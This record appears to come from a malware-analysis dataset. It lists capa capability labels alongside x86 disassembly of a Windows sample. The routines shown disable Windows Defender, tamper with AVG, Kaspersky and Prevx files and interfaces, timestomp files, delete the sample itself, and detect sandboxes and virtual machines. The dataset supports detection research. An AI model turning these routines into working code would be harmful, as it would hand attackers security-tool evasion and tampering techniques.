joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4013f0
Capabilities:
Check if file exists
Delete file
Get common file path
Move file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x328
xor eax, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov dword [ebp - 4], eax
push 0x1c
lea eax, [ebp - 0x1c]
push eax
push 0x401e40
mov dword [ebp - 0x1c], 0
call dword [sym.imp.kernel32.dll_VirtualQuery]
mov edx, dword [ebp - 0x18]
push 0x104
lea ecx, [ebp - 0x224]
push ecx
push edx
call dword [sym.imp.kernel32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.shlwapi.dll_PathFileExistsA]
test eax, eax
je 0x4014c0
push esi
lea ecx, [ebp - 0x328]
push ecx
push 0x104
call dword [sym.imp.kernel32.dll_GetTempPathA]
lea edx, [ebp - 0x120]
push edx
push 0
push 0
lea eax, [ebp - 0x328]
push eax
call dword [sym.imp.kernel32.dll_GetTempFileNameA]
mov esi, dword [sym.imp.kernel32.dll_MoveFileExA]
push 1
lea ecx, [ebp - 0x120]
push ecx
lea edx, [ebp - 0x224]
push edx
call esi
test eax, eax
je 0x4014bf
push 0
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.kernel32.dll_SetFileAttributesA]
lea ecx, [ebp - 0x120]
push ecx
call dword [sym.imp.kernel32.dll_DeleteFileA]
test eax, eax
jne 0x4014bf
push 4
push eax
lea edx, [ebp - 0x120]
push edx
call esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x401880
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x168
push ebx
push esi
push edi
xor ebx, ebx
push 0x40
lea eax, [ebp - 0x58]
push ebx
push eax
mov dword [ebp - 0x5c], ebx
call sub.msvcrt.dll_memset
push 0x103
xor eax, eax
lea ecx, [ebp - 0x163]
push ebx
push ecx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov byte [ebp - 0x164], bl
call sub.msvcrt.dll_memset
mov edx, dword [ebp + 8]
add esp, 0x18
push 0x104
push edx
lea eax, [ebp - 0x164]
push eax
call dword [sym.imp.kernel32.dll_lstrcpynA]
lea ecx, [ebp - 0x14]
push ecx
lea edx, [ebp - 0x5c]
push edx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x164]
push eax
mov dword [ebp - 0x5c], 0x44
call dword [sym.imp.kernel32.dll_CreateProcessA]
test eax, eax
je 0x40195f
mov eax, dword [ebp - 0x10]
mov edi, dword [sym.imp.kernel32.dll_GetHandleInformation]
mov esi, eax
mov dword [ebp + 8], ebx
cmp eax, ebx
je 0x40192d
lea ecx, [ebp + 8]
push ecx
push eax
call edi
test eax, eax
je 0x40192d
test byte [ebp + 8], 2
jne 0x40192d
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
mov eax, dword [ebp - 0x14]
mov esi, eax
mov dword [ebp + 8], ebx
cmp eax, ebx
je 0x401951
lea edx, [ebp + 8]
push edx
push eax
call edi
test eax, eax
je 0x401951
test byte [ebp + 8], 2
jne 0x401951
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x401970
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x12c
push ebx
push esi
push edi
xor esi, esi
push 0x124
lea eax, [esp + 0x18]
push esi
push eax
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
call sub.msvcrt.dll_memset
add esp, 0xc
push esi
push 2
call dword [sym.imp.kernel32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4019b7
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
lea ecx, [esp + 0x10]
push ecx
push esi
mov dword [esp + 0x18], 0x128
call dword [sym.imp.kernel32.dll_Process32First]
mov edi, dword [sym.imp.shlwapi.dll_StrStrIA]
mov ebx, dword [sym.imp.kernel32.dll_Process32Next]
mov edx, dword [ebp + 8]
push edx
lea eax, [esp + 0x38]
push eax
call edi
test eax, eax
jne 0x401a2b
lea ecx, [esp + 0x10]
push ecx
push esi
call ebx
test eax, eax
jne 0x4019d7
mov edi, dword [esp + 0xc]
mov dword [esp + 0xc], 0
test esi, esi
je 0x401a20
lea edx, [esp + 0xc]
push edx
push esi
call dword [sym.imp.kernel32.dll_GetHandleInformation]
test eax, eax
je 0x401a20
test byte [esp + 0xc], 2
jne 0x401a20
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov edi, dword [esp + 0x18]
jmp 0x4019f6
Function at 0x401cb0
Capabilities:
Access pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov dword [ebp - 4], 0
test eax, eax
je 0x401d67
lea ecx, [ebp - 4]
push ecx
call fcn.00401290
mov esi, eax
test esi, esi
je 0x401d67
push esi
call dword [sym.imp.ntdll.dll_RtlImageNtHeader]
mov ebx, eax
test ebx, ebx
je 0x401d45
rdtsc
xor dword [0x459e4c], eax
call dword [sym.imp.kernel32.dll_GetTickCount]
xor dword [0x459e4c], eax
push 0x40466c
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
test eax, eax
je 0x401d25
push 0x404678
push eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
test eax, eax
je 0x401d25
push 0x459e4c
call eax
mov ecx, dword [0x459e4c]
mov eax, ecx
xor edx, edx
or edi, 0xffffffff
div edi
push esi
add eax, ecx
mov dword [ebx + 0x58], eax
mov ebx, dword [ebp - 4]
mov eax, dword [ebp + 8]
call fcn.004011b0
mov edi, dword [sym.imp.kernel32.dll_GetProcessHeap]
push esi
push 0
call edi
push eax
call dword [sym.imp.kernel32.dll_HeapValidate]
test eax, eax
je 0x401d67
push esi
push 0
call edi
push eax
call dword [sym.imp.kernel32.dll_HeapFree]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x401d70
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push esi
push edi
mov edi, dword [sym.imp.kernel32.dll_CreateFileA]
push 0
push 0x80
push 3
push 0
push 3
push 0x80000000
push str._globalroot_systemroot_system32drivers_ntfs.sys
call edi
mov esi, eax
cmp esi, 0xffffffff
je 0x401e35
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x18]
push ecx
lea edx, [ebp - 0x20]
push edx
push esi
call dword [sym.imp.kernel32.dll_GetFileTime]
mov dword [ebp - 8], 0
test esi, esi
je 0x401ddc
lea eax, [ebp - 8]
push eax
push esi
call dword [sym.imp.kernel32.dll_GetHandleInformation]
test eax, eax
je 0x401ddc
test byte [ebp - 8], 2
jne 0x401ddc
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
mov ecx, dword [ebp + 8]
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
push ecx
call edi
mov esi, eax
cmp esi, 0xffffffff
je 0x401e35
lea edx, [ebp - 0x10]
push edx
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x20]
push ecx
push esi
call dword [sym.imp.kernel32.dll_SetFileTime]
mov dword [ebp + 8], 0
test esi, esi
je 0x401e35
lea edx, [ebp + 8]
push edx
push esi
call dword [sym.imp.kernel32.dll_GetHandleInformation]
test eax, eax
je 0x401e35
test byte [ebp + 8], 2
jne 0x401e35
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x401e80
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x228
push ebx
push esi
push edi
mov edi, eax
xor eax, eax
push 0x220
push eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x228], eax
lea eax, [ebp - 0x224]
push eax
call sub.msvcrt.dll_memset
mov ebx, dword [sym.imp.kernel32.dll_CreateToolhelp32Snapshot]
add esp, 0xc
push edi
push 8
call ebx
mov esi, eax
cmp esi, 0xffffffff
jne 0x401f18
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x18
jne 0x401f7b
call dword [sym.imp.kernel32.dll_SwitchToThread]
push edi
push 8
call ebx
mov esi, eax
cmp esi, 0xffffffff
je 0x401f7b
mov edi, dword [ebp - 4]
mov dword [ebp - 4], 0
test esi, esi
je 0x401f0f
lea ecx, [ebp - 4]
push ecx
push esi
call dword [sym.imp.kernel32.dll_GetHandleInformation]
test eax, eax
je 0x401f0f
test byte [ebp - 4], 2
jne 0x401f0f
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x228]
push ecx
push esi
mov dword [ebp - 0x228], 0x224
call dword [sym.imp.kernel32.dll_Module32First]
test eax, eax
je 0x401ee5
mov edi, dword [sym.imp.shlwapi.dll_StrStrIA]
mov ebx, dword [sym.imp.kernel32.dll_Module32Next]
push 0x4046a4
lea edx, [ebp - 0x208]
push edx
call edi
test eax, eax
je 0x401f5e
push 0x4046ac
push eax
call edi
test eax, eax
jne 0x401f71
lea eax, [ebp - 0x228]
push eax
push esi
call ebx
test eax, eax
jne 0x401f40
jmp 0x401ee5
mov edi, 1
jmp 0x401ee8
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x401f90
Capabilities:
Get common file path
Get program files directory
Set current directory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x405368
push 0x4039c2
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x110
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
xor ebx, ebx
mov byte [ebp - 0x120], bl
push 0x103
push ebx
lea eax, [ebp - 0x11f]
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
xor esi, esi
lea ecx, [ebp - 0x120]
push ecx
push ebx
push ebx
push 0x26
push ebx
call dword [sym.imp.shell32.dll_SHGetFolderPathA]
test eax, eax
js 0x402057
push str.Windows_Defender
lea edx, [ebp - 0x120]
push edx
call dword [sym.imp.shlwapi.dll_PathAppendA]
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.kernel32.dll_SetCurrentDirectoryA]
test eax, eax
je 0x402057
push str.MpClient.dll
call dword [sym.imp.kernel32.dll_LoadLibraryA]
mov esi, eax
mov dword [ebp - 0x1c], esi
cmp esi, ebx
je 0x402057
push str.WDEnable
push esi
call dword [sym.imp.kernel32.dll_GetProcAddress]
cmp eax, ebx
je 0x402057
mov dword [ebp - 4], ebx
push ebx
call eax
mov dword [ebp - 4], 0xffffffff
jmp 0x402057
test esi, esi
je 0x402062
push esi
call dword [sym.imp.kernel32.dll_FreeLibrary]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402080
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xbc
push ebx
xor ebx, ebx
push esi
push ebx
push 0x80
push 3
push ebx
push ebx
push ebx
push str..KmxAgent
mov dword [ebp - 0xb4], 0xb4
mov dword [ebp - 0xb0], 0x10
mov dword [ebp - 0xac], ebx
mov dword [ebp - 0xa8], ebx
mov dword [ebp - 0xa4], ebx
mov dword [ebp - 0xa0], ebx
mov dword [ebp - 0x9c], ebx
mov dword [ebp - 0x98], ebx
mov dword [ebp - 0x94], ebx
mov dword [ebp - 0x90], ebx
mov dword [ebp - 0x8c], 0x7b761e52
mov dword [ebp - 0x88], 0x1c94cc7
mov dword [ebp - 0x84], ebx
mov dword [ebp - 0x80], ebx
mov dword [ebp - 0x7c], ebx
mov dword [ebp - 0x78], ebx
mov dword [ebp - 0x74], 1
mov dword [ebp - 0x70], 1
mov dword [ebp - 0x6c], ebx
mov dword [ebp - 0x68], 1
mov dword [ebp - 0x64], 0x20000000
mov dword [ebp - 0x60], 0x1210064
mov dword [ebp - 0x5c], 0x22
mov dword [ebp - 0x58], ebx
mov dword [ebp - 0x54], 0x4d0007
mov dword [ebp - 0x50], 0x730065
mov dword [ebp - 0x4c], 0x610073
mov dword [ebp - 0x48], 0x650067
mov dword [ebp - 0x44], 0x420000
mov dword [ebp - 0x40], 0xb0022
mov dword [ebp - 0x3c], 0x490000
mov dword [ebp - 0x38], 0x530053
mov dword [ebp - 0x34], 0x560045
mov dword [ebp - 0x30], 0x4e0045
mov dword [ebp - 0x2c], 0x490054
mov dword [ebp - 0x28], 0x3d0044
mov dword [ebp - 0x24], 0x300034
mov dword [ebp - 0x20], 0x320030
mov dword [ebp - 0x1c], 0x650000
mov dword [ebp - 0x18], 0x70006d
mov dword [ebp - 0x14], 0x790074
mov dword [ebp - 0x10], 0x45003d
mov dword [ebp - 0xc], 0x70006d
mov dword [ebp - 8], 0x790074
mov dword [ebp - 4], ebx
call dword [sym.imp.kernel32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x402200
push ebx
lea eax, [ebp - 0xbc]
push eax
push 4
lea ecx, [ebp - 0xb8]
push ecx
push 0xb4
lea edx, [ebp - 0xb4]
push edx
push 0x86000054
push esi
call dword [sym.imp.kernel32.dll_DeviceIoControl]
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402210
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
push ebx
xor ebx, ebx
push esi
push ebx
push 0x80000080
xor eax, eax
push 3
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x18]
push eax
push 3
push 0xc0000000
push str..pipe_acsipc_server
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0x60], 0xd48a445e
mov dword [ebp - 0x5c], 0x466e1597
mov dword [ebp - 0x58], 0x327416ba
mov dword [ebp - 0x54], 0x68ccde15
mov dword [ebp - 0x50], 5
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x48], 0x11
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x3c], 0x11
mov dword [ebp - 0x38], 0xb5cb6c63
mov dword [ebp - 0x34], 0x46df52db
mov dword [ebp - 0x30], 0x65aa6b83
mov dword [ebp - 0x2c], 0x229bf18e
mov dword [ebp - 0x28], 1
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], ebx
call dword [sym.imp.kernel32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x4022f4
push edi
mov edi, dword [sym.imp.kernel32.dll_WriteFile]
push ebx
lea ecx, [ebp - 4]
push ecx
push 0x28
lea edx, [ebp - 0x60]
push edx
push esi
call edi
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.kernel32.dll_GetSystemTimeAsFileTime]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
push ebx
lea eax, [ebp - 4]
push eax
mov dword [ebp - 0x23], ecx
push 0x1c
lea ecx, [ebp - 0x38]
push ecx
push esi
mov dword [ebp - 0x1f], edx
call edi
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x402300
Capabilities:
Get common file path
Get program files directory
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
lea eax, [ebp - 0x104]
push eax
push 0
push 0
push 0x26
push 0
call dword [sym.imp.shell32.dll_SHGetFolderPathA]
cmp eax, 1
je 0x4023e5
xor eax, eax
lea esp, [esp]
mov cl, byte [ebp + eax - 0x104]
mov byte [ebp + eax - 0x208], cl
inc eax
test cl, cl
jne 0x402330
lea eax, [ebp - 0x104]
dec eax
lea ebx, [ebx]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x402350
mov ecx, dword [str.AVGAVG9dfncfg.dat]
mov edx, dword [0x404ec4]
mov dword [eax], ecx
mov ecx, dword [0x404ec8]
mov dword [eax + 4], edx
mov edx, dword [0x404ecc]
mov dword [eax + 8], ecx
mov ecx, dword [0x404ed0]
mov dword [eax + 0xc], edx
mov dl, byte [0x404ed4]
mov dword [eax + 0x10], ecx
mov byte [eax + 0x14], dl
lea eax, [ebp - 0x208]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x402394
mov ecx, dword [str.AVGAVG9dfmcfg.dat]
mov edx, dword [0x404edc]
mov dword [eax], ecx
mov ecx, dword [0x404ee0]
mov dword [eax + 4], edx
mov edx, dword [0x404ee4]
mov dword [eax + 8], ecx
mov ecx, dword [0x404ee8]
mov dword [eax + 0xc], edx
mov dl, byte [0x404eec]
mov dword [eax + 0x10], ecx
mov byte [eax + 0x14], dl
lea eax, [ebp - 0x208]
push eax
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.kernel32.dll_MoveFileA]
mov esp, ebp
pop ebp
ret
Function at 0x4023f0
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
lea eax, [ebp - 0x10c]
push eax
push 0
push 0
push 0x23
push 0
mov byte [ebp - 1], 0
call dword [sym.imp.shell32.dll_SHGetFolderPathA]
cmp eax, 1
je 0x402520
lea eax, [ebp - 0x10c]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x402422
mov ecx, dword [str.PrevxCSIcsidb.csi]
mov edx, dword [0x404ef4]
push esi
push 0
push 0x80
mov dword [eax], ecx
mov ecx, dword [0x404ef8]
push 3
mov dword [eax + 4], edx
mov edx, dword [0x404efc]
push 0
mov dword [eax + 8], ecx
mov ecx, dword [0x404f00]
push 3
mov dword [eax + 0xc], edx
push 0xc0000000
lea edx, [ebp - 0x10c]
push edx
mov dword [eax + 0x10], ecx
call dword [sym.imp.kernel32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x40251f
push ebx
push edi
mov edi, dword [sym.imp.kernel32.dll_SetFilePointer]
push 0
push 0
push 0x17a8
push esi
call edi
mov ebx, dword [sym.imp.kernel32.dll_WriteFile]
push 0
lea eax, [ebp - 8]
push eax
push 1
lea ecx, [ebp - 1]
push ecx
push esi
call ebx
push 0
push 0
push 0xb98
push esi
call edi
push 0
lea edx, [ebp - 8]
push edx
push 1
lea eax, [ebp - 1]
push eax
push esi
call ebx
push 0
push 0
push 0x17e4
push esi
call edi
push 0
lea ecx, [ebp - 8]
push ecx
push 1
lea edx, [ebp - 1]
push edx
push esi
call ebx
push 0
push 0
push 0x17dc
push esi
call edi
push 0
lea eax, [ebp - 8]
push eax
push 1
lea ecx, [ebp - 1]
push ecx
push esi
call ebx
push 0
push 0
push 0x3380
push esi
call edi
push 0
lea edx, [ebp - 8]
push edx
push 1
lea eax, [ebp - 1]
push eax
push esi
call ebx
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x402a40
Capabilities:
Get session integrity level
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x10c]
push eax
push 0
call dword [sym.imp.kernel32.dll_GetModuleFileNameA]
call fcn.004037c0
test eax, eax
je 0x402a71
push 0
call dword [sym.imp.kernel32.dll_ExitProcess]
call fcn.00402080
call fcn.00401f90
push 0
push str.____AVP.Root
call dword [sym.imp.user32.dll_FindWindowA]
mov esi, eax
test esi, esi
je 0x402aa6
call dword [sym.imp.kernel32.dll_GetTickCount]
push eax
push 0x10001
push 0x466
push esi
call dword [sym.imp.user32.dll_PostMessageA]
call fcn.00402210
call fcn.00402300
call fcn.004023f0
call fcn.00402530
mov edi, dword [sym.imp.shell32.dll_IsUserAnAdmin]
call edi
test eax, eax
jne 0x402ad7
call fcn.00403250
test eax, eax
je 0x402ad7
push 0
call dword [sym.imp.kernel32.dll_ExitProcess]
call edi
push 0x404684
mov ebx, eax
mov dword [ebp - 8], 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
test eax, eax
je 0x402b10
push 0x404694
push eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x402b10
lea ecx, [ebp - 8]
push ecx
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call esi
cmp dword [ebp - 8], 0
je 0x402b39
lea esi, [ebp - 0x10c]
call section..text
call dword [sym.imp.kernel32.dll_GetCurrentProcessId]
call fcn.00401a40
push 0xffffffffffffffff
call dword [sym.imp.kernel32.dll_Sleep]
jmp 0x402c4b
test ebx, ebx
je 0x402bf0
push str._apppatch_
lea edx, [ebp - 0x10c]
push edx
call dword [sym.imp.shlwapi.dll_StrStrIA]
test eax, eax
je 0x402b94
lea esi, [ebp - 0x10c]
call section..text
push 0x404f68
call dword [sym.imp.kernel32.dll_GlobalFindAtomA]
test ax, ax
jne 0x402c4b
push 0x404f68
call dword [sym.imp.kernel32.dll_GlobalAddAtomA]
call edi
test eax, eax
je 0x402c2c
lea eax, [ebp - 1]
push eax
jmp 0x402c20
call fcn.00402780
push 0x404f68
call dword [sym.imp.kernel32.dll_GlobalFindAtomA]
test ax, ax
jne 0x402be9
push 0x404f68
call dword [sym.imp.kernel32.dll_GlobalAddAtomA]
call edi
test eax, eax
je 0x402bca
lea ecx, [ebp - 1]
push ecx
push 0
push 1
push 0x14
call dword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
call edi
test eax, eax
mov eax, 0x404f84
jne 0x402bda
mov eax, 0x404f94
push eax
call fcn.00401970
test eax, eax
je 0x402be9
call fcn.00401a40
call fcn.004013f0
jmp 0x402c4b
lea esi, [ebp - 0x10c]
call section..text
push 0x404f68
call dword [sym.imp.kernel32.dll_GlobalFindAtomA]
test ax, ax
jne 0x402c4b
push 0x404f68
call dword [sym.imp.kernel32.dll_GlobalAddAtomA]
call edi
test eax, eax
je 0x402c2c
lea edx, [ebp - 1]
push edx
push 0
push 1
push 0x14
call dword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
call edi
test eax, eax
mov eax, 0x404f84
jne 0x402c3c
mov eax, 0x404f94
push eax
call fcn.00401970
test eax, eax
je 0x402c4b
call fcn.00401a40
push 0
call dword [sym.imp.kernel32.dll_ExitProcess]
Function at 0x4031b0
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9c
push esi
lea eax, [ebp - 0x9c]
push eax
mov esi, 0x80004005
mov dword [ebp - 4], 0
mov dword [ebp - 0x9c], 0x94
call dword [sym.imp.kernel32.dll_GetVersionExA]
test eax, eax
je 0x40323d
cmp dword [ebp - 0x8c], 2
jne 0x40323d
cmp dword [ebp - 0x98], 6
jb 0x40323d
lea ecx, [ebp - 4]
push ecx
push 8
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.advapi32.dll_OpenProcessToken]
test eax, eax
je 0x40323d
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
lea edx, [ebp - 8]
push edx
push 4
push eax
push 0x12
push ecx
mov dword [ebp - 8], 0
call dword [sym.imp.advapi32.dll_GetTokenInformation]
test eax, eax
je 0x403233
cmp dword [ebp - 8], 4
jne 0x403233
xor esi, esi
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.kernel32.dll_CloseHandle]
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x403710
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
lea eax, [ebp - 4]
push eax
push 0x101
push 0
push str.HARDWAREDESCRIPTIONSystem
push 0x80000002
mov dword [ebp - 8], 0x400
mov dword [ebp - 0xc], 7
call dword [sym.imp.advapi32.dll_RegOpenKeyExA]
test eax, eax
jne 0x403774
lea ecx, [ebp - 8]
push ecx
mov ecx, dword [ebp - 4]
lea edx, [ebp - 0x40c]
push edx
lea eax, [ebp - 0xc]
push eax
push 0
push str.SystemBiosVersion
push ecx
call dword [sym.imp.advapi32.dll_RegQueryValueExA]
test eax, eax
je 0x40377a
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.advapi32.dll_RegCloseKey]
xor eax, eax
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.advapi32.dll_RegCloseKey]
cmp byte [ebp - 0x40c], 0x51
jne 0x403774
cmp byte [ebp - 0x40b], 0x45
jne 0x403774
cmp byte [ebp - 0x40a], 0x4d
jne 0x403774
cmp byte [ebp - 0x409], 0x55
jne 0x403774
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x4037c0
Capabilities:
Check for sandbox and av modules
Check for sandbox username or hostname
Get disk information
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push str.SbieDll.dll
mov dword [ebp - 0xc], 0x104
mov dword [ebp - 4], 0
mov dword [ebp - 8], 1
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
test eax, eax
jne 0x40397d
push esi
push edi
mov edi, dword [sym.imp.kernel32.dll_GetModuleFileNameA]
push 0x104
lea eax, [ebp - 0x110]
push eax
push 0
call edi
mov esi, dword [sym.imp.msvcrt.dll_strstr]
lea ecx, [ebp - 0x110]
push str.test_item.exe
push ecx
call esi
add esp, 8
test eax, eax
jne 0x40397b
call fcn.00403710
test eax, eax
jne 0x40397b
lea edx, [ebp - 0xc]
push edx
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.advapi32.dll_GetUserNameA]
lea ecx, [ebp - 0x214]
push ecx
call dword [sym.imp.user32.dll_CharUpperA]
lea edx, [ebp - 0x214]
push str.SANDBOX
push edx
call esi
add esp, 8
test eax, eax
jne 0x40397b
lea eax, [ebp - 0x214]
push str.MALNETVM
push eax
call esi
add esp, 8
test eax, eax
jne 0x40397b
lea ecx, [ebp - 0x214]
push str.VIRUSCLONE
push ecx
call esi
add esp, 8
test eax, eax
jne 0x40397b
lea edx, [ebp - 0x214]
push str.test_user
push edx
call esi
add esp, 8
test eax, eax
jne 0x40397b
lea eax, [ebp - 0x214]
push str.Dave
push eax
call esi
add esp, 8
test eax, eax
jne 0x40397b
push 0x104
lea ecx, [ebp - 0x110]
push ecx
call dword [sym.imp.kernel32.dll_GetSystemWindowsDirectoryA]
push 0
push 0
push 0
push 0
lea edx, [ebp - 4]
push edx
push 0
push 0
lea eax, [ebp - 0x110]
push eax
mov byte [ebp - 0x10d], 0
call dword [sym.imp.kernel32.dll_GetVolumeInformationA]
mov eax, dword [ebp - 4]
cmp eax, 0xcd1a40
je 0x40397b
cmp eax, 0x6cbbc508
je 0x40397b
cmp eax, 0x774e1682
je 0x40397b
cmp eax, 0x837f873e
je 0x40397b
cmp eax, 0x8b6f64bc
je 0x40397b
push 0x104
lea ecx, [ebp - 0x110]
push ecx
push 0
call edi
mov esi, dword [sym.imp.shlwapi.dll_StrStrIA]
push str._sand_box_
lea edx, [ebp - 0x110]
push edx
call esi
test eax, eax
jne 0x40397b
push str.cwsandbox_
lea eax, [ebp - 0x110]
push eax
call esi
test eax, eax
jne 0x40397b
push str._sandbox_
lea ecx, [ebp - 0x110]
push ecx
call esi
test eax, eax
jne 0x40397b
mov dword [ebp - 8], eax
pop edi
pop esi
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret

Function at 0x403990
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push esi
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
xor eax, 0xffffffff
test ecx, ecx
mov esi, dword [ebp + 8]
je 0x4039b9
xor al, byte [esi]
movzx edx, al
shr eax, 8
mov edx, dword [edx*4 + section..data]
inc esi
xor eax, edx
dec ecx
jne 0x4039a4
xor eax, 0xffffffff
pop esi
leave
ret 0xc